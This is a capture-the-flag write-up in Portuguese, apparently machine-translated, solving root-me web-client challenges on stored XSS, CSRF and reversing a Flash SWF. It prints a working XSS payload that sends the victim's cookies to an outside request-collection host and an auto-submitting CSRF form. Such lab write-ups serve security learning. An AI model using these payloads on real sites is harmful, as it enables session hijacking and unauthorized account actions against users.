Neste artigo, seqüestramos cookies através do XSS armazenado, lidamos com um ataque CSRF e invertemos um arquivo SWF do Flash. Links para artigos anteriores:
Parte 1:
Web - autenticação javascript, ofuscação e código nativo. Solução de problemas com o r0ot-mi Web - Client.Informações OrganizacionaisEspecialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:
- PWN;
- criptografia (criptografia);
- tecnologias de rede (rede);
- reverso (engenharia reversa);
- esteganografia (estegano);
- pesquisa e exploração de vulnerabilidades na WEB.
Além disso, compartilharei minha experiência em análise forense de computadores, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.
Para que você possa descobrir sobre novos artigos, software e outras informações, criei um
canal no Telegram e um
grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações
pessoais e responderei a todos .
Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.
XSS armazenado

Na tarefa, precisamos pegar os cookies do administrador. Abrimos o site. Vemos um formulário em que você precisa inserir um título e uma mensagem. Vamos entrar para ver como nossa entrada é exibida no formulário.


Então Vamos tentar verificar o XSS. Como carga, usarei o alerta usual.
<script>alert(1);</script>
Como você pode ver, a janela de alerta foi exibida para nós, ou seja, o código javascript incorporado funcionou.

Como estes são armazenados XSS, é possível seqüestrar os cookies de outros usuários. Se você não possui seu próprio servidor na rede global, poderá usar
este site .

Aqui nos é dado um endereço onde podemos observar todas as solicitações para esse endereço. Agora introduza a próxima carga útil.
<script> document.write("<img src='https://en0q0bu21ne0wq.x.pipedream.net/?cookie=" + document.cookie + "'></img>"); </script>
Quando o usuário abre uma página com esse código, o agente tenta fazer o download da imagem e executar uma solicitação neste endereço. Ele usará seu cookie como parâmetro. Em seguida, analisamos o parâmetro com o qual a solicitação veio - este será o cookie.

Por que o seqüestro de cookies é perigoso? Ao inserir cookies para este site em nosso navegador, entraremos no site em nome desse usuário, ignorando o processo de autenticação.
CSRF

Na atribuição, precisamos ativar sua conta. Vamos dar uma olhada no site. Somos atendidos por um formulário de autorização.

Selecionamos o registro e registramos no site.

É-nos dito que teremos acesso total quando o administrador ativar nossa conta.


Quando você tenta marcar a caixa você recebe uma mensagem de que não somos um administrador.

Mas podemos entrar em contato com o administrador, ou seja, ele abrirá a página. O significado de CSRF é que o usuário executa ações sem conhecê-lo. Ou seja, podemos forçá-lo a enviar um formulário já preenchido. Vamos verificar se existe um token definido e verificado pelo servidor - como proteção contra esses ataques. É diferente toda vez.

Não há token. Essa forma de carga sairá dessa forma.
<form id="form" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data"> <input type="text" name="username" value="ralf"> <input type="checkbox" name="status" checked > <button type="submit">Submit</button> </form> <script>document.getElementById("form").submit()</script>
Aqui está um formulário já preenchido com nossos dados, com uma marca de seleção ativada. O código Javascript o envia depois de carregar a página, respectivamente, em nome do administrador que a visualizou.


Após algum tempo, atualizamos a página. Nossa conta foi ativada.

Flash

Precisamos encontrar um código válido. Vamos abrir a página. Somos atendidos por algum tipo de mecanismo de código.

Vamos dar uma olhada no código.

Vemos que o código convertido é verificado no JS, que introduzimos. Resta descobrir o algoritmo de conversão. Também no código, há um link para o arquivo swf. Vamos fazer o download.

Vemos que este é um Macromedia Flash compactado. Para reverter esses arquivos, prefiro usar JPEXS.

Nós encontramos o script principal.

Vamos desmontar.

Ele carrega os dados de outro script aninhado, os morde com a chave e os envia para execução. Vamos fazer isso. Primeiro, encontramos esses dados.

E, em seguida, exporte para um arquivo separado.

Agora proxor-los com a chave.
f = open('1_RootMe_EmbeddedSWF.bin', 'r') swf_crypt = f.read() f.close() key = 'rootmeifyoucan' swf_decrypt = '' for i in range(len(swf_crypt)): swf_decrypt += chr(ord(swf_crypt[i]) ^ ord(key[i%len(key)])) f = open('NewEmbedded.swf', 'w') f.write(swf_decrypt) f.close()
Temos um novo arquivo. Abra-o no JPEXS.

Encontramos o script principal e começamos a analisar.

Como você ainda precisa escrever um código. Vou publicar partes dele.
but1 = 11266775 but2 = 11146309 but3 = 7884889 but4 = 8049718 Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe'
Aqui vemos o código de cada botão e sua localização nas coordenadas. Isso nos ajudará a entender qual botão possui qual código.

Aprendemos com isso que o comprimento do código deve ser igual ou superior a 12. E que o valor final é o hash MD5 da string invertida.
from hashlib import * import itertools for var in itertools.product('1234', repeat=12): ... ... if len(code) >= 12: break h = md5(code[::-1].encode()).hexdigest()

Em vez de descrever, simplesmente darei esse código em python'e.
code = "" for char in var: if char == '1': code += format((but1 >> 16 & 0xFF), '02X') elif char == '2': code += format((but2 >> 8 & 0xFF), '02X') elif char == '3': code += format((but3 >> 0 & 0xFF), '02X') elif char == '4': if len(code) > 1: code = code[0:-1]
Portanto, precisamos separar 4 ^ 12 = 16777216 opções. Um pouco.
from hashlib import * import itertools but1 = 11266775 but2 = 11146309 but3 = 7884889 but4 = 8049718 Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe' for var in itertools.product('1234', repeat=12): code = "" for char in var: if char == '1': code += format((but1 >> 16 & 0xFF), '02X') elif char == '2': code += format((but2 >> 8 & 0xFF), '02X') elif char == '3': code += format((but3 >> 0 & 0xFF), '02X') elif char == '4': if len(code) > 1: code = code[0:-1] if len(code) >= 12: break h = md5(code[::-1].encode()).hexdigest() print("Password: %s, code: %s" % (var, code)) if h == Hash: print('Correct password:' + "".join(var)) Break

Tem uma senha e código.
Mais e mais complicado ... Você pode se juntar a nós no
Telegram . Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre nos ajudar em qualquer problema de segurança da informação e da TI.